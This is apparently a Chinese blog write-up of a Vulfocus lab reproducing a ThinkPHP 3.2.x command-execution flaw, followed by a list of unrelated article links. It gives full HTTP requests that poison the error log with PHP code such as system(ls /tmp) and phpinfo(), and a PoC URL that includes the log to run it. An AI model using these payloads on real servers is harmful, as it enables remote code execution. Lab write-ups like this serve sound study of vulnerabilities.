当前位置: 首页 > news >正文

【漏洞复现-thinkphp-命令执行】vulfocus/thinkphp-3.2.x

目录

一、靶场环境

1.1、平台:

1.2、知识:

二、漏洞验证

2.1、分析:

2.4、解题:


一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:62651

123.58.224.8:53137

123.58.224.8:53137

(是个空白页面)

 

1.2、知识:

1、Log记录目录(日期格式)

开启debug模式日志保存在:\Application\Runtime\Logs\Home\

未开启debug模式日志保存在:\Application\Runtime\Logs\Common\

2、路径

上传恶意代码到服务器上,需包含其文件相对或绝对路径

/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]

3、PHP代码写法

<?=phpinfo();?>

<?=system(ls /tmp);?>

4、日志记录

如果状态码200,就不会记录在日志中,要错误状态码(如404)

可能错误的记录地方有多个,如请求头中的UA、请求地址等



二、漏洞验证

2.1、分析:

抓包

 报错,可以尝试写入日志里面

 


方法一:

(我测试失败了)

写入命令ls /tmp

GET /index.php?m=--><?=system(ls%20/tmp);?> HTTP/1.1

GET /index.php?m=--><?=system(ls%20/tmp);?> HTTP/1.1
Host: 123.58.224.8:45730
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=r39k0c745brbo2328lkvk8llnv;
Connection: close
Upgrade-Insecure-Requests: 1

 报错了,就写入日志了

访问日志(22_10_14年月日)

http://ip:port/Application/Runtime/Logs/Common/22_10_14.log

POC:

http://ip:port/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_10_14.log

 


方法二:

直接写入phpinfo

(和上面基本上一样)

GET /index.php?m=--><?=phpinfo();?> HTTP/1.1

 

GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: 123.58.224.8:45730
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=r39k0c745brbo2328lkvk8llnv;
Connection: close
Upgrade-Insecure-Requests: 1

 

访问日志

http://ip:port/Application/Runtime/Logs/Common/22_10_14.log

/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_10_14.log

 

 

2.4、解题:

 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • <Linux系统复习>进程概念
  • 二叉树的性质
  • 我是怎么定位线上问题的?
  • 【车道线检测】FOLOLane解读
  • SpringBoot动态定时任务(完整版)
  • 植物大战 string——C++
  • 基于JAVA的校园二手交易网站的设计与实现参考【数据库设计、毕业设计、源码、开题报告】
  • WebDAV之葫芦儿·派盘+SwiftScan
  • 设计模式之桥接模式
  • RS485发射端串扰问题的解决
  • CAD模型转为点云模型/三维点云转为灰度图
  • C++类与对象下
  • 对象集合如何根据对象的某一个属性排序
  • 大数据毕业设计可视化大屏前后端项目分享
  • 五笔输入法(用法总结)
  • 收藏网友的 源程序下载网
  • @angular/forms 源码解析之双向绑定
  • iOS 系统授权开发
  • NSTimer学习笔记
  • puppeteer stop redirect 的正确姿势及 net::ERR_FAILED 的解决
  • Spring-boot 启动时碰到的错误
  • Sublime text 3 3103 注册码
  • TCP拥塞控制
  • ucore操作系统实验笔记 - 重新理解中断
  • 阿里云购买磁盘后挂载
  • 大型网站性能监测、分析与优化常见问题QA
  • 关键词挖掘技术哪家强(一)基于node.js技术开发一个关键字查询工具
  • 机器学习学习笔记一
  • 算法-图和图算法
  • 摩拜创始人胡玮炜也彻底离开了,共享单车行业还有未来吗? ...
  • ​七周四次课(5月9日)iptables filter表案例、iptables nat表应用
  • ‌U盘闪一下就没了?‌如何有效恢复数据
  • #Z2294. 打印树的直径
  • (10)工业界推荐系统-小红书推荐场景及内部实践【排序模型的特征】
  • (11)工业界推荐系统-小红书推荐场景及内部实践【粗排三塔模型】
  • (3)选择元素——(17)练习(Exercises)
  • (附源码)spring boot智能服药提醒app 毕业设计 102151
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理 第13章 项目资源管理(七)
  • (三)docker:Dockerfile构建容器运行jar包
  • (原創) 人會胖會瘦,都是自我要求的結果 (日記)
  • (转) SpringBoot:使用spring-boot-devtools进行热部署以及不生效的问题解决
  • (转)平衡树
  • *1 计算机基础和操作系统基础及几大协议
  • .gitattributes 文件
  • .net core 6 集成 elasticsearch 并 使用分词器
  • .net core 6 使用注解自动注入实例,无需构造注入 autowrite4net
  • .Net Core 笔试1
  • .NET CORE使用Redis分布式锁续命(续期)问题
  • .Net实现SCrypt Hash加密
  • .NET微信公众号开发-2.0创建自定义菜单
  • .vollhavhelp-V-XXXXXXXX勒索病毒的最新威胁:如何恢复您的数据?
  • @column注解_MyBatis注解开发 -MyBatis(15)
  • [ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce
  • [ 云计算 | AWS ] AI 编程助手新势力 Amazon CodeWhisperer:优势功能及实用技巧
  • [acm算法学习] 后缀数组SA